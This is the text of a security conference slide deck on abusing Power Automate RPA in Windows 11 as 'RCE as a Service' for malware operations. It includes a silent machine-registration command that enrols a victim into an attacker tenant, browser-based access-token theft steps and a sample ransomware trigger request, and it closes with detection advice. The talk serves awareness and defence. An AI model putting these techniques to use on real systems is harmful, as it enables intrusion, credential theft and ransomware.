No Code Malware: Windows 11 At Your Service

Michael Bargury @ Zenity
About me

• CTO and co-founder @ Zenity
• Ex MSFT cloud security
• OWASP ‘Top 10 LCNC Security Risks’ project lead
• Dark Reading columnist
• Defcon n00b

@mbrg0 ft. @UZisReal123
bit.ly/lcsec
Disclaimer

This talk is presented from an attacker’s perspective with the goal of raising awareness to the risks of underestimating the security impact of No Code. No Code is awesome.
Initial access to full operation
So you want to build a malware op
You’re in. Congrats!

Initial access

Victim

Hacker
In the real world

EDR → Victim → Initial access → Hacker

Corpnet → FW → Internet
In the real world

EDR → Victim

Run malware

Initial access

Hacker

Corpnet

FW

Internet
In the real world

EDR -> Victim

Run malware

Initial access

C&C

Hacker

Corpnet -> FW

Internet
In the real world

EDR → Victim
Run malware → Initial access → C&C → Exfiltration → Hacker

Corpnet → FW → Internet
In the real world

EDR -> Victim

Defense evasion

Run malware

Initial access

C&C

Exfiltration

Hacker

Corpnet

FW

Internet
In the real world

Victim → Initial access → C&C → Exfiltration → Hacker

Defense evasion → Run malware → Initial access → C&C → Exfiltration

EDR → Victim → Persistency → FW → Corpnet → Internet
We wanted to do hacking, not ops

Malware

- Initial access
- Deploy malware
- C&C
- Exfiltration
- Defense evasion
- Persistency
- Cleanup
- ...
- ...
- Profit

Ops
Introducing.. Robotic Process Automation (RPA)!

https://www.t-plan.com/rpa-architecture/
Introducing.. Robotic Process Automation (RPA)!

Trusted cloud services

Trusted communication

Trusted executables

https://www.t-plan.com/rpa-architecture/
RPA is everywhere
(in the enterprise)
RPA can take care of Ops for us

- C&C
- Exfiltration
- Defense evasion
- Persistency
- Cleanup

And so much more:
- Handle errors
- Support different OS/versions
- Malware updates
- Aggregate data across machines
- ...
Outline

• Malware Ops motivation
• What is RPA?
• RPA technical deep dive
• Abusing RPA: RCE as a Service
• Introducing Power Pwn
• Defense: 4 things to do when you get home
What is RPA?
How anyone can automate mundane processes
Teenage (MMORPG) life
Grunt work required
Grunt work required
Grunt work required
Grunt work required
Profit!
Automation!!
Automation for real
Automation for real
Automation via RPA

Why and How?

• Replace “copy-and-paste integration”
• Drag & drag builder
• Emulate user actions (mouse/keyboard) to connect
• Runs on user machines / dedicated servers
Automation in the enterprise

Why and How?
• Replace “copy-and-paste integration”
• Drag & drag builder
• Emulate user actions (mouse/keyboard) to connect
• Runs on user machines / dedicated servers

Use cases:
• Customer service routines
• Finance payments and reporting
• HR onboarding / offboarding
• Supply chain keep inventory up to date
• Procurement invoice processing
RPA Deep Dive
“included in Windows 11”

Boost productivity with desktop automation

Get more done by automating daily tasks across your desktop applications with Power Automate—including in Windows 11 for users with a Microsoft account.
Getting started with Power Automate in Windows 11

Windows 11 allows users to create automations through the preinstalled Power Automate app. Power Automate is a low-code platform that enables home and business users to optimize their workflows and automate repetitive and time-consuming tasks.
### Synced to cloud

<table>
<thead>
<tr>
<th>Name</th>
<th>Modified</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>StealPowerAuto</td>
<td>1 day ago</td>
<td>Not running</td>
</tr>
<tr>
<td>TheCookieMonster</td>
<td>1 day ago</td>
<td>Not running</td>
</tr>
<tr>
<td>Ransomware</td>
<td>1 month ago</td>
<td>Not running</td>
</tr>
<tr>
<td>Exfiltration</td>
<td>1 month ago</td>
<td>Not running</td>
</tr>
<tr>
<td>CodeExec</td>
<td>1 month ago</td>
<td>Not running</td>
</tr>
<tr>
<td>Cleanup</td>
<td>1 month ago</td>
<td>Not running</td>
</tr>
</tbody>
</table>
## Your machines

Check the real-time health and status of your machines and the desktop flows running on them. Learn more

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>hi</td>
<td>—</td>
<td>2.20.141.22151</td>
<td>—</td>
<td>✗ Disconnecte</td>
<td>0</td>
<td>0</td>
<td>Owner</td>
<td></td>
</tr>
<tr>
<td>win11ent</td>
<td>—</td>
<td>2.21.244.22174</td>
<td>—</td>
<td>✔ Connected</td>
<td>0</td>
<td>0</td>
<td>Co-ow...</td>
<td></td>
</tr>
<tr>
<td>win11pro</td>
<td>—</td>
<td>2.20.141.22151</td>
<td>rndcorp</td>
<td>✔ Connected</td>
<td>0</td>
<td>—</td>
<td>Owner</td>
<td></td>
</tr>
</tbody>
</table>
Run from cloud

Manually trigger a flow

Desktop flows

Search connectors and actions

Triggers  | Actions  | See more
---|---|---
Run a flow built with Power Automate for desktop | PREMIUM | Desktop flows
Run a flow built with Selenium IDE | PREMIUM | Desktop flows
## Task status

### Desktop flow runs

Here's a quick overview of the desktop flows you have running. [Learn more](#)

<table>
<thead>
<tr>
<th>Requested</th>
<th>Desktop flow</th>
<th>Status</th>
<th>Run start</th>
<th>Run mode</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jul 6, 12:48 PM (6 d ago)</td>
<td>GetPowerAutomateToken</td>
<td>Succeeded</td>
<td>Jul 6, 12:48 PM (6 d ago)</td>
<td>Local attended</td>
</tr>
<tr>
<td>Jun 30, 10:27 AM (1 wk ago)</td>
<td>TheCookieMonster</td>
<td>Succeeded</td>
<td>Jun 30, 10:27 AM (1 wk ago)</td>
<td>Local attended</td>
</tr>
<tr>
<td>Jun 30, 10:27 AM (1 wk ago)</td>
<td>GetPowerAutomateToken</td>
<td>Succeeded</td>
<td>Jun 30, 10:27 AM (1 wk ago)</td>
<td>Local attended</td>
</tr>
<tr>
<td>Jun 22, 02:55 PM (2 wk ago)</td>
<td>GetPowerAutomateToken</td>
<td>Succeeded</td>
<td>Jun 22, 02:55 PM (2 wk ago)</td>
<td>Local attended</td>
</tr>
<tr>
<td>Jun 19, 04:10 PM (3 wk ago)</td>
<td>GetPowerAutomateToken</td>
<td>Succeeded</td>
<td>Jun 19, 04:10 PM (3 wk ago)</td>
<td>Local attended</td>
</tr>
<tr>
<td>Jun 19, 03:58 PM (3 wk ago)</td>
<td>GetPowerAutomateToken</td>
<td>Succeeded</td>
<td>Jun 19, 03:58 PM (3 wk ago)</td>
<td>Local attended</td>
</tr>
<tr>
<td>Jun 19, 03:55 PM (3 wk ago)</td>
<td>GetPowerAutomateToken</td>
<td>Failed</td>
<td>Jun 19, 03:54 PM (3 wk ago)</td>
<td>Local attended</td>
</tr>
</tbody>
</table>
RCE as a Service
Repurpose RPA to power malware ops
Recall our wish list

Malware
- Initial access
- Deploy malware
- Defense evasion
- Persistency
- C&C
- Exfiltration
- Cleanup
- ...
- ...
- Profit

Ops
Hello Pwntoso
Register victim machines

Can we avoid the UI?
Register victim machines

Can we avoid the UI?

Sure!

https://docs.microsoft.com/en-us/power-automate/desktop-flows/machines-silent-registration#silently-register-a-new-machine
Hello new machine

<table>
<thead>
<tr>
<th>Machine name</th>
<th>Description</th>
<th>Version</th>
<th>Group</th>
<th>Status</th>
<th>Flows run</th>
<th>Flows queued</th>
<th>Access</th>
<th>Owner</th>
</tr>
</thead>
<tbody>
<tr>
<td>hi</td>
<td>—</td>
<td>2.20.141.22151</td>
<td>—</td>
<td>Disconnect</td>
<td>0</td>
<td>0</td>
<td>—</td>
<td>Owner</td>
</tr>
<tr>
<td>win11ent</td>
<td>—</td>
<td>2.21.244.22174</td>
<td>—</td>
<td>Connected</td>
<td>0</td>
<td>0</td>
<td>—</td>
<td>Co-owner</td>
</tr>
<tr>
<td>win11pro</td>
<td>—</td>
<td>2.20.141.22151</td>
<td>rndcorp</td>
<td>Connected</td>
<td>0</td>
<td>—</td>
<td>—</td>
<td>Owner</td>
</tr>
</tbody>
</table>
Admin required

How to use the Machine registration App?

1. Open Start menu
2. Search for command prompt (or PowerShell) and then run it as the administrator
3. Change the directory to the Power Automate install folder (by default: C:\Program Files (x86)\Power Automate)

C:\Program Files (x86)\Power Automate Desktop>echo HoD8Q~HbHe~HTwGek7QSJNzjTr~Z4oNsGGY_rbjZ -w | .\PAD.MachineRegistration.Silent.exe -register -applicationid acd76da8-cc2f-45c1-a2d4-aeb1f156aa8c -tenantid 420983fd-32b0-4abd-89e0-c3ef3236fc73 -clientsecret -force

C:\Program Files (x86)\Power Automate Desktop>\.PAD.MachineRegistration.Silent.exe -joinmachinegroup -groupid rndcorp -grouppassword
Please input 'grouppassword' value:
**************

https://docs.microsoft.com/en-us/power-automate/desktop-flows/machines-silent-registration#silently-register-a-new-machine
Admin **NOT** required

``` powershell
PS C:\Program Files (x86)\Power Automate Desktop> net user PADUser
User name          PADUser
Full Name          
Comment            
User's comment     
Country/region code 000 (System Default)
Account/active     Yes
Account expires    Never
Password last set  13/07/2022 0:25:57
Password expires   Never
Password changeable 13/07/2022 0:25:57
Password required  No
User may change password Yes
Workstations allowed All
Logon script       
User profile       
Home directory     
Last logon         13/07/2022 8:17:40
Logon hours allowed All
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
PS C:\Program Files (x86)\Power Automate Desktop>
```

**PADUser**

Local account
Manually trigger a flow

- Desktop flows
  - Search connectors and actions
  - Triggers
    - Run a flow built with Power Automate for desktop
    - Run a flow built with Selenium IDE
  - Actions

Distribute payload

Cloud setup

Set up connection

- Desktop flows
  - Connection not found. Please create a new connection and change your application to use the new connection.
  - Connect: Directly to machine
  - Machine or machine group: win11ent
  - Domain and username:
  - Password:

Create
How to avoid active machine users

Unattended RPA
Create a new local user session

Attended RPA
Leverage an existing local user session
Recap

- Deploy malware
- Defense evasion
- Persistency
- C&C
- Exfiltration
- Cleanup
Let the fun begin.
Data exfiltrated as flow output
Distribute payload, execute and collect output from cloud
Code execution

Oops

Windows Security

Threats found
Microsoft Defender Antivirus found threats. Get details.

Close
Code execution

Windows Security

7/8/2022 10:08 AM

Threat blocked
7/8/2022 10:07 AM

This threat or app has been allowed and will not be remediated in the future.

Detected: TrojanMSI/Crytar
Status: Removed
A threat or app was removed from this device.
Date: 7/8/2022 10:07 AM
Details: This program is dangerous and executes commands from an attacker.

Affected items:
file: C:\Users\alexi\Downloads\mimikatz_trunk.zip
webfile: C:\Users\alexi\Downloads\mimikatz_trunk.zip
https://objects.githubusercontent.com/gate-production-release-asset-2kef9we/6k2o50c-2ke7-4883-6bvc-46e6e7678743IkAmz-Arithm-4654-HWAC-5HA56&X-Amz-Credential=AKIAIUNX7W4C5S3XYM%2F2022%2F07%2F11&X-Amz-Signature=55564b2b371ed533374d92e1f5ab3b396ea9ff84d7825b3e182b6a&X-Amz-SignedHeaders=host&x-amz-date=20220711T001152Z&x-amzn-Expires=300&x-amzn-SignedHeaders=attachment&Disposition=attachment%3B%20filename%3Dmimikatz_trunk.zip

Learn more

Have a question?
Get help

Help improve Windows Security
Give us feedback

Change your privacy settings
View and change privacy settings for your device.
Privacy settings
Privacy dashboard
Code execution – try again

Trusted

Untrusted
What can we do with drag & drop primitives only (No Code)?
No Code primitives
No Code Ransomware
No Code Cleanup
Machine to Cloud via the browser

1. Open browser minimized
2. Go to flow.microsoft.com
3. Hit CTRL+U
4. Extract access token from header

https://docs.microsoft.com/en-in/power-automate/desktop-flows/using-browsers
Recap

☑ Deploy malware
☑ Defense evasion
☑ Persistency
☑ C&C
☑ Exfiltration
☑ Cleanup

And more:
☑ Creds access via browser
Introducing Power Pwn!
Power Pwn!

Trigger via HTTP

Seamlessly handle errors and edge cases
One endpoint to rule them all!

POST machine=win11ent user=alexg
payload=ransomware dir=C:\ encryptionKey=9d0d578115a2734a

SUCCESS
filesFound=71892 filesProcessed=70497
Convenience layer in Python

1. Set up a free RPA account
2. Register machines
3. Profit

github.com/mbrg/power-pwn
Summary

• What is RPA?
  • Available in every major enterprise
  • Technical deep dive

• Abusing RPA: RCE as a Service
  • Distribute and execute payloads thru trusted services
  • No Code primitives

• Introducing Power Pwn

• Defense: 4 things to do when you get home
How To Stay Safe?
Do these 4 things to reduce your risk

1. Monitor any usage of PAD.MachineRegistration.Silent.exe or PAD.MachineRegistration.Host.exe on local user machines
2. Detect usage of the aforementioned executables with tenant ids that don’t belong to your organization
3. Review your own tenant’s Power Automate environment and Microsoft best practice. If you’re a Microsoft shop, your users are probably already using it!
4. Learn more at OWASP, Dark Reading, Zenity blog
No Code Malware: Windows 11 At Your Service

Michael Bargury @ Zenity

Learn more: github.com/mbrg/defcon30
Twitter: @mbrg0

See how hackers take advantage of orgs using No Code at our 2nd talk: “Low Code High Risk: Enterprise Domination via Low Code Abuse”